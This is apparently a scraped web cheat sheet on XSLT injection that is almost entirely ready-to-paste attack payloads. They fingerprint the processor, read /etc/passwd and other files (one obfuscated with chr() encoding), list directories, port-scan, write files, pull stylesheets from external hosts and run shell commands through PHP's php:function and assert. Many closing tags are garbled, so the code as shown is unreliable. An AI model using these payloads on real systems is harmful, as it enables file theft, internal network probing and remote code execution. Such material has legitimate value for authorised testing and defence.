It is used to transform XML documents in another kind. Versions: 1, 2 and 3 (1 is the most used). The transformation can be done in the server or in the browser).
The most used frameworks are: Libxslt (Gnome), Xalan (Apache) and Saxon (Saxonica).
In order to exploit this kind of vulnerability you need to be able to store xsl tags in the server side and then access that content. An example of this kind of vulnerability can be found on https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
Fingerprint
Upload this and take information
复制 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"> Version: <xsl:value-of select="system-property('xsl:version')" /><br /> Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br /> Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br /> <xsl:if test="system-property('xsl:product-name')"> Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br /> xsl:if> <xsl:if test="system-property('xsl:product-version')"> Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br /> xsl:if> <xsl:if test="system-property('xsl:is-schema-aware')"> Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br /> xsl:if> <xsl:if test="system-property('xsl:supports-serialization')"> Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"/><br /> xsl:if> <xsl:if test="system-property('xsl:supports-backwards-compatibility')"> Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"/><br /> xsl:if>xsl:template>xsl:stylesheet> External HTTP Request
复制 <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">esi:include> Javascript Injection
复制 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><script>confirm("We're good");script>xsl:template>xsl:stylesheet> Directory listing (PHP)
Opendir + readdir
复制 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" ><xsl:template match="/"><xsl:value-of select="php:function('opendir','/path/to/dir')"/><xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -xsl:template>xsl:stylesheet> Assert (var_dump + scandir + false)
复制 <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE"> <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" /> <br /> body>html> Read files
Internal
复制 ]><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/">&ext_file;xsl:template>xsl:stylesheet> Through HTTP
复制 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><xsl:value-of select="document('/etc/passwd')"/>xsl:template>xsl:stylesheet>
复制 ]><xsl:template match="/">&passwd;xsl:template> Internal (PHP)
复制 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" ><xsl:template match="/"><xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>xsl:template>xsl:stylesheet>
复制 <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE"> <xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" /> <br /> body>html> Port scan
复制 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" ><xsl:template match="/"><xsl:value-of select="document('http://example.com:22')"/>xsl:template>xsl:stylesheet> Write to a file
XSLT 2.0
复制 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" ><xsl:template match="/"><xsl:result-document href="local_file.txt"><xsl:text>Write Local Filexsl:text>xsl:result-document>xsl:template>xsl:stylesheet> Xalan-J extension
复制 <xsl:template match="/"><redirect:open file="local_file.txt"/><redirect:write file="local_file.txt"/> Write Local Fileredirect:write><redirect:close file="loxal_file.txt"/>xsl:template> Other ways to write files in the PDF
Include external XSL
复制 <xsl:include href="http://extenal.web/external.xsl"/> Execute code
php:function
复制 <xsl:stylesheet version="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:php="http://php.net/xsl" ><xsl:template match="/"><xsl:value-of select="php:function('shell_exec','sleep 10')" />xsl:template>xsl:stylesheet>
复制 <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE"><xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" /><br />body>html> Execute code using other frameworks in the PDF
More Languages
In this page you can find examples of RCE in other languajes: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)
References